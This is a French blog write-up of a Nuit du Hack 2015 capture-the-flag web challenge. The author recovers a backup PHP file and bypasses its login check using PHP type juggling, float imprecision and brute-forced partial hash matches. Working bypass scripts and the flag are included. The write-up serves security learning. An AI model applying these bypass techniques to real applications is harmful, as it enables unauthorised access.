Résolution de l'épreuve 'fuckinhashinauth' de la nuit du hack 2015. Mon équipe et moi n'avions pas eu le temps de finir l'épreuve à la Nuit du Hack, je ne voulais pas en rester là, je l'ai alors terminée après coup en local.





0x00. NOTES



Pour la base de donée, j'ai du remplacer la petite tête de mort en 'xxx' (car la tête de mort est codée sur 3 octets). Pour les tests en local, ma VM Kali est en 32 bits, j'ai du modifier le script pour qu'il valide sur un système en 32 bits

42 :
https://fr.wikipedia.org/wiki/La_grande_question_sur_la_vie,_l%27univers_et_le_reste

1337 :
https://fr.wikipedia.org/wiki/Leet_speak





0x01. AUTH.PHP~



D'après l'indice, il y aurait un fichier de backup qui traine...


wget 'http://fukinhashinauth.wargame.ndh/auth.php~' -O auth.php


J'ai alors commenté son code pour mieux le comprendre


<?php
 
if (isset($_GET['login']) && isset($_GET['password']))
{
  // l'URL doit avoir les variables d'URL login et password : http://server/?login=&password=
  $login = $_GET['login'];
  $passw = $_GET['password'];
 
  if ($login != 'adminsecure1337' && strpos($login, 'adminsecure1337') !== false)
  {
    // Le login doit contenir adminsecure1337
    echo 'login OK !';
    if (strpos(md5($login), '42421337') !== false)
    {
      // trouve un login dont le md5 contient 42421337 => bruteforce
      echo 'md5 login OK !';
      $headers = getallheaders();
      $session = $headers['Session'];
      $fufu = substr($headers['Session'], -13.37);
      if (substr($session, -42.42, 15.42) == 'xxxNxxxDxxxHxxx' && substr($fufu, 0.1337, 2.42) == '0.' && $fufu + 0.7 != 0.8)
      {
      echo 'session OK !'; // 'xxxNxxxDxxxHxxx' = 15 octets, substr ignore les décimale, fufu ne vaut pas 0.1,
                           // imprécision PHP dans une opération entre une chaine de caractère et un décimal
 
        // Le début de session doit valoir 42424242424242424242 (longueur= 20)
        // 9223372036854775807 ==> PHP_INT_MAX (64bits)
        // if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){
        // 32 bits, le début de session vaut: 42424242424242424242
        // de toute façon, intval(42424242424242424242) = PHP_INT_MAX
        if (intval($session) == 2147483647  && $session + 0 == 42424242424242424242)
        { 
          echo 'compare OK !';
          if (strpos($passw, '1337password') !== false)
          {
            // le pass contient 1337password
            echo 'password OK !';
            if (strpos(sha1($passw), '42133742') !== false)
            {
              // trouver un pass dont le sha1 contient 42133742 => bruteforce
              echo 'sha1 password OK !';
              if ($login + 42 == 84 && $fufu + 0.1 == 0.2)
              { 
                // $login+42 == 84 : $login doit commencer par 42
                // $fufu doit &ecirc;tre égal à 0.1
                echo 'additions OK !';
                // 66 => 0x42, int(0x42) = 0, le pass commence par 0x42
                if ((int) $passw == 0 && $passw + 0 == 66)
                {
                  echo 'php roxing OK !';
                  if (date('s', time()) == 42)
                  { // Attend la 42ème seconde
                    // include "flag.php"                          // tests en local
                    $flag="NDH_c13b2cef1252acd1c0c9a1c625bcfb82";  // tests en local
                    echo 'time for flag ! '. $flag;
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
 
if (!isset($flag))
{
  // echo '<br><img src="/img/' . rand(1, 68) . '.jpg">';
  echo 'failed'; // tests en local
}
?>
 




0x02. IMPRECISION PHP


<?
 
$fufu=0.1;
 
if( $fufu == 0.1 )
{
	echo "\\nOK1";
}
 
echo intval($fufu);
echo "\\n";
 
 
if( 0.1+0.7 != 0.8 )
{
	echo "\\nOK2a";
}
 
if( $fufu + 0.7 != 0.8 )
{
	echo "\\nOK2b";
}
 
 
if( $fufu + 0.1 == 0.2 )
{
	echo "\\nOK3a";
}
 
if( 0.1+0.1 == 0.2 )
{
	echo "\\nOK3b";
}
 
?>
 




0x03. ADD INTEGER TO STRING ? - TESTS LOGIN+PASSW


<? if( $argv[1]+42 == 84 ) echo "\\n$argv[1]"; ?>
 

<? echo "(int)\\$argv[1] = "; echo (int)$argv[1]; echo " / "; echo "\\$argv[1]+0 = "; echo $argv[1]+0; echo "\\n"; ?>
 




0x04. TESTS SESSION


<?
// 9223372036854775807 => 64bits
// 2147483647          => 32bits
// define('PHP_INT_MAX', 0x7FFFFFFF);
 
$session=$argv[1];
 
echo '  if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){'."\\n\\n";
 
echo "intval(\\$session) = ";
echo intval($session);
echo "\\n";
echo "\\$session+0 = ";
echo $session+0;
echo "\\n";
 
// if (intval($session) == 9223372036854775807 && $session + 0 == 42424242424242424242){
if (intval($session) == 2147483647 && $session + 0 == 4242424242){
	echo "OK\\n\\n";
}
 
?>
 




0x05. AJUSTEMENTS


<?
 
define('INT_MAX', 0x7FFFFFFF);
 
$login="42cglsvoadminsecure1337"; // # ./bruteforce_login.py -a '[a-z]' -l 6 -L 6
$passw="0x42GAQNYK1337password";    // # ./bruteforce_passw.py -a '[A-Z]' -l 4 -L 6
 
$session="xxxNxxxDxxxHxxx1234567890.CDEFGHIJ===";
// $session="xxxNxxxDxxxHxxx0.42424242424";
$session="42424242424242424242xxxNxxxDxxxHxxxZZZZZZZZZZZZZZ0.1ZZZZZZZZZZ";
 
 
echo "\\nlogin                     = ".$login;
 
if (strpos(md5($login), '42421337') !== false){
echo "\\n--------------------------> login OK";
}
 
echo "\\npassw                     = ".$passw;
if (strpos($passw, '1337password') !== false){ 
  if (strpos(sha1($passw), '42133742') !== false){
    if ((int) $passw == 0 && $passw + 0 == 66){
      echo "\\n--------------------------> pass OK";
    }
  }
}
 
echo "\\nsession                   = ".$session;
echo "\\nsubstr(session,-42,15)    = ".substr($session, -42.42, 15.42);
$fufu = substr($session,-13.37);
echo "\\nfufu (session,-13.37)     = ".$fufu;
echo "\\nsubstr(fufu,0.1337, 2.42) = ".substr($fufu, 0.1337, 2.42);
echo "\\nfufu+0.7                  = ";echo $fufu+0.7;
 
if (substr($session, -42.42, 15.42) == 'xxxNxxxDxxxHxxx' && substr($fufu, 0.1337, 2.42) == '0.' && $fufu + 0.7 != 0.8){
echo "\\n--------------------------> session OK";
}
 
echo "\\nintval(session)           = ".intval($session);
echo "\\nsession+0                 = ";echo $session+0;
if (intval($session) == PHP_INT_MAX && $session + 0 == 42424242424242424242){
echo "\\n--------------------------> compare OK";
}
echo "\\nlogin+42                  = ";echo $login+42;
echo "\\n(int) passw               = ";echo (int)$passw;
echo "\\npassw+0                   = ";echo $passw+0;
 
echo "\\n\\n";
die();
 
?>
 




0x06. BRUTEFORCE LOGIN



J'avais déjà écrit un programme de bruteforce "généric" en python, oà il n'y avait plus qu'à implémenter le test :


#!/usr/bin/env python
 
import sys
import getopt
import hashlib
APP = "brute-md5.py"
 
#
# Alphabets
#------------------------------------------------------------------------------
 
alphabet    = range(0,1000)
 
alphabet[1] = "abcdefghijklmnopqrstuvwxyz"
alphabet[2] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
alphabet[3] = "abcdef"
alphabet[4] = "ABCDEF"
alphabet[5] = "0123456789"
 
alphabet[12] = alphabet[1] + alphabet[2]                    # lower/upper case
alphabet[15] = alphabet[1] + alphabet[5]                    # lower + numbers
alphabet[25] = alphabet[2] + alphabet[5]                    # upper + numbers
alphabet[35] = alphabet[3] + alphabet[5]                    # hexa-lower + numbers
alphabet[45] = alphabet[4] + alphabet[5]                    # hexa-upper + numbers
 
alphabet[123] = alphabet[1] + alphabet[2] + alphabet[5]     # lower+uppercase+numerals
 
 
 
 
#
# Functions
#------------------------------------------------------------------------------
 
def combine (alphabet, nb, base = ''):
  for c in alphabet:
    if nb == 1:
      yield base + c
    else:
      for c1 in combine(alphabet, nb-1, base + c):
        yield c1
 
 
def usage():
  print "\\nUsage: %s <-a alphabet> <-l low-limit> <-L high-limit> <-m match>" % APP
 
  print """
alphabets : 
 
 [a-z]   |   [a-z0-9]   |   [a-zA-Z0-9]
 [A-Z]   |   [A-Z0-9]
 [a-f]   |   [a-z0-9]
 [A-F]   |   [A-F0-9]
 [0-9]   |   [a-zA-Z] 
 
exemple : 
"""
 
  print """
./%s -a '[a-z]' -l 4 -L 4 -m 'f71dbe52628a3f83a77ab494817525c6'
 > will generate aaa->zzz aaaa->zzzz
 > till the hash correspond
""" % APP
 
  sys.exit(1)
 
 
"""
bruteit(...) 
Function that has to bruteforce password with something to match
"""
def bruteit(string,match):
 
  # $login+42==84 ...
  dst='42'+string+'adminsecure1337'
  md5sum = hashlib.md5(dst).hexdigest()
  if "42421337" in md5sum:
    print dst+":"+md5sum
 
 
 
def alphabet_to_index(alpha):
  ialpha = -1
 
  if( alpha == "[a-z]" ):
    ialpha = 1
  if( alpha == "[A-Z]" ):
    ialpha = 2
  if( alpha == "[a-f]" ):
    ialpha = 3
  if( alpha == "[A-F]" ):
    ialpha = 4
  if( alpha == "[0-9]" ):
    ialpha = 5
 
  if( alpha == "[a-zA-Z]" ):
    ialpha = 12
  if( alpha == "[a-z0-9]" ):
    ialpha = 15
  if( alpha == "[A-Z0-9]" ):
    ialpha = 25
  if( alpha == "[a-f0-9]" ):
    ialpha = 35
  if( alpha == "[A-F0-9]" ):
    ialpha = 45
 
  if( alpha == "[a-zA-Z0-9]" ):
    ialpha = 123
 
  return(ialpha)
 
 
#
# Main
#------------------------------------------------------------------------------
 
def main():
  lowlimit  = -1
  highlimit = -1
  ilimit    = -1
  ialpha    = -1
  alpha     = ""
  match     = "-"
  error     = 3
 
  optlist, args = getopt.getopt( sys.argv[1:] , "a:L:l:m:h" )
 
  for opt in optlist:
    if( opt[0] == '-a' ):
      ialpha = alphabet_to_index( opt[1] )
      if( ialpha == -1 ):
        print "\\nError : `%s` is not a known alphabet\\n" % opt[1]
        usage()
      else:
        error = error - 1
 
    if( opt[0] == '-l' ):
      try:
        lowlimit = int(opt[1])
        error = error - 1
      except:
        print "\\nError : `%s` is not an integer\\n" % opt[1]
        usage()
 
    if( opt[0] == '-L' ):
      try:
        highlimit = int(opt[1])
        error = error - 1
      except:
        print "\\nError : `%s` is not an integer\\n" % opt[1]
        usage()
 
    if( opt[0] == '-m' ):
      match = opt[1]
 
    if( opt[0] == 'h' ):
      usage()
 
  if( error != 0 ):
    print "\\nError : some argument are missing." 
    usage()
 
 
  try:
    for ilimit in range(lowlimit,highlimit+1):
      for string in combine(alphabet[ialpha], ilimit):
				bruteit( string , match )
  except(KeyboardInterrupt):
    print "\\n[CTRL+C] : program aborted.\\n\\n"
    sys.exit(130)
 
if __name__ == '__main__':
  main()
 




0x07. BRUTEFORCE PASSWORD


Seule la fonction bruteit diffère :


def bruteit(string,match):
  global g_npass
  dst='0x42'+string+'1337password'
  _hash = hashlib.sha1(dst).hexdigest()
  if "42133742" in _hash:
    print dst+':'+_hash
    sys.exit(0)
 




0x08. PWND.SH


output="result.txt"
 
# login=$(./bruteforce_login.py -a '[a-zA-Z]' -l 4 -L 6)    # 42        => 42cglsvoadminsecure1337
                                                            #              ^^
                                                            #            intval
login="42cglsvoadminsecure1337"
 
 
 
# password=$(./bruteforce_passw.py -a '[a-zA-Z]' -l 4 -L 6) # 66 = 0x42 => 0x42GAQNYK1337password
                                                            #              ^^^^
                                                            #             intval
password="0x42GAQNYK1337password"
 
#                            - (session: -42)             - (fufu: -13)
#        0                   4                            1
#        0                   2                            3
#
#
#                                               42
#                            <---------------------------------------->
#
#                 20                15
#        <------------------><------------->
session="42424242424242424242xxxNxxxDxxxHxxxZZZZZZZZZZZZZZ0.1ZZZZZZZZZZ"
#        ^^^^^^^^^^^^^^^^^^^^                     ^^^
#$session+0 =>  42*10...                         fufu (voir ajustements avec tests.php)
#                            ^^^^^^^             les imprécisions de calcul entre une chaine de caractère
#                  substr($v,-42,15)             et un décimal, rendent $fufu inutile (sauf pour le substr)
#                    = substr($v,15)             (d‘oà le besoin de 0.)
#
# printf "xxxNxxxDxxxHxxx"|hexdump -C
# 00000000  e2 98 a0 4e e2 98 a0 44  e2 98 a0 48 e2 98 a0     |...N...D...H...|
# 0000000f
#
# substr($v , 12.34 , -7.8);  <=>  substr($v , 12 , -7);
#
 
 
 
 
 
while true; do
  d=$(php -r "print date('s');")
  printf "\\rWaiting for second #42 ... : $(date) => $d"
  # On attend entre la seconde 41 et 43 pour &ecirc;tre s&ucirc;r d‘avoir le temps
  if [ $d -gt 41 -a $d -lt 43 ]; then
    echo
    echo '---'
    wget -q --header "Session: $session" "http://localhost/?login=$login&password=$password" -O "$output"
    egrep -i flag "$output" && break
  else
  # autrement on attend sagement ...
    sleep .3
  fi
done
echo
 




0x09. FLAG


Le login:


login OK !md5 login OK !session OK !compare OK !password OK !sha1 password OK !additions OK !php roxing OK !time for flag !
NDH_c13b2cef1252acd1c0c9a1c625bcfb82


   =>   Écrit par : Nicolas, le 28 avril 2016


 
Mots clés :  
  hacking 
  
  challenge 
    >   Articles connexes :

NDH2K18 - 16ème NDH



NDH2K15 - Samual L Flags On



3322509